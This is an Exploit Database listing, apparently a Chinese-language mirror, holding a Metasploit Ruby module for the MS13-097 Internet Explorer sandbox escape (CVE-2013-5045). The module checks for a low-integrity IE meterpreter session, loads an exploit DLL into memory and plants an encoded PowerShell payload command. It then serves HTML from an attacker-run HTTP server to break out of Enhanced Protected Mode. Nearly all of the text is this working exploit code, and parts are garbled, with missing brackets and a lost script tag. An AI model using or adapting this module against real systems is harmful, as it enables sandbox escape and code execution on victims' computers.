Microsoft Registry Symlink – IE Sandbox Escape (MS13-097) (Metasploit)

Exploit Database
121 阅读

作者： Metasploit

日期： 2014-06-27
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/33893/

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# This module requires Metasploit: http//metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core'

require 'rex'

require 'msf/core/exploit/exe'

require 'msf/core/exploit/powershell'

class Metasploit3 < Msf::Exploit::Local

Rank = GreatRanking

include Msf::Exploit::Powershell

include Msf::Exploit::EXE

include Msf::Exploit::Remote::HttpServer

include Msf::Post::Windows::Priv

def initialize(info={})

super( update_info( info,

'Name' => 'MS13-097 Registry Symlink IE Sandbox Escape',

'Description' => %q{

This module exploits a vulnerability in Internet Explorer Sandbox which allows to

escape the Enhanced Protected Mode and execute code with Medium Integrity. The

vulnerability exists in the IESetProtectedModeRegKeyOnly function from the ieframe.dll

component, which can be abused to force medium integrity IE to user influenced keys.

By using registry symlinks it's possible force IE to add a policy entry in the registry

and finally bypass Enhanced Protected Mode.

'License' => MSF_LICENSE,

'Author' =>

[

'James Forshaw', # Vulnerability Discovery and original exploit code

'juan vazquez' # metasploit module

'Platform' => [ 'win' ],

'SessionTypes' => [ 'meterpreter' ],

'Stance' => Msf::Exploit::Stance::Aggressive,

'Targets' =>

[

[ 'IE 8 - 11', { } ]

'DefaultTarget'=> 0,

'DisclosureDate' => "Dec 10 2013",

'References' =>

[

['CVE', '2013-5045'],

['MSB', 'MS13-097'],

['BID', '64115'],

['URL', 'https://github.com/tyranid/IE11SandboxEscapes']

]

))

register_options(

[

OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10])

])

end

def exploit

print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil?

mod_handle = session.railgun.kernel32.GetModuleHandleA('iexplore.exe')

if mod_handle['return'] == 0

fail_with(Failure::NotVulnerable, "Not running inside an Internet Explorer process")

end

unless get_integrity_level == INTEGRITY_LEVEL_SID[:low]

fail_with(Failure::NotVulnerable, "Not running at Low Integrity")

end

begin

Timeout.timeout(datastore['DELAY']) { super }

rescue Timeout::Error

end

session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", nil)

session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", nil)

end

def primer

cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip

session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", cmd)

html_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.html"

session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", html_uri)

temp = get_env('TEMP')

print_status("Loading Exploit Library...")

session.core.load_library(

'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2013-5045", "CVE-2013-5045.dll"),

'TargetFilePath'=> temp +"\\CVE-2013-5045.dll",

'UploadLibrary' => true,

'Extension' => false,

'SaveToDisk'=> false

)

end

def on_request_uri(cli, request)

if request.uri =~ /\.html$/

print_status("Sending window close html...")

close_html = <<-eos

<html>

<body>

window.open('', '_self', '');

window.close();

</script>

</body>

</html>

eos

send_response(cli, close_html, { 'Content-Type' => 'text/html' })

else

send_not_found(cli)

end